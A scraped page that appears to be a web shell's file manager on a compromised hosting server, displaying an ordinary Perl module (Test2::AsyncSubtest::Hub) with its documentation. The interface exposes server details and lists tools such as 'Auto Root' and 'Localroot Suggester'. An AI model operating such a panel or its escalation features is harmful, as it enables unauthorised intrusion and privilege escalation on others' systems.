Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.217.14
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
share /
perl5 /
Test2 /
AsyncSubtest /
Delete
Unzip
Name
Size
Permission
Date
Action
Event
[ DIR ]
drwxr-xr-x
2019-04-03 18:18
Formatter.pm
135
B
-r--r--r--
2019-03-16 23:17
Hub.pm
1.66
KB
-r--r--r--
2019-03-16 23:17
Save
Rename
package Test2::AsyncSubtest::Hub; use strict; use warnings; our $VERSION = '0.000119'; use base 'Test2::Hub::Subtest'; use Test2::Util::HashBase qw/ast_ids ast/; sub init { my $self = shift; $self->SUPER::init(); if (my $format = $self->format) { my $hide = $format->can('hide_buffered') ? $format->hide_buffered : 1; $self->format(undef) if $hide; } } sub inherit { my $self = shift; my ($from, %params) = @_; if (my $ls = $from->{+_LISTENERS}) { push @{$self->{+_LISTENERS}} => grep { $_->{inherit} } @$ls; } if (my $pfs = $from->{+_PRE_FILTERS}) { push @{$self->{+_PRE_FILTERS}} => grep { $_->{inherit} } @$pfs; } if (my $fs = $from->{+_FILTERS}) { push @{$self->{+_FILTERS}} => grep { $_->{inherit} } @$fs; } } 1; __END__ =pod =encoding UTF-8 =head1 NAME Test2::AsyncSubtest::Hub - Hub used by async subtests. =head1 DESCRIPTION This is a subclass of L<Test2::Hub::Subtest> used for async subtests. =head1 SYNOPSIS You should not use this directly. =head1 METHODS =over 4 =item $ast = $hub->ast Get the L<Test2::AsyncSubtest> object to which this hub is bound. =back =head1 SOURCE The source code repository for Test2-AsyncSubtest can be found at F<https://github.com/Test-More/Test2-Suite/>. =head1 MAINTAINERS =over 4 =item Chad Granum E<lt>exodist@cpan.orgE<gt> =back =head1 AUTHORS =over 4 =item Chad Granum E<lt>exodist@cpan.orgE<gt> =back =head1 COPYRIGHT Copyright 2018 Chad Granum E<lt>exodist7@gmail.comE<gt>. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. See F<http://dev.perl.org/licenses/> =cut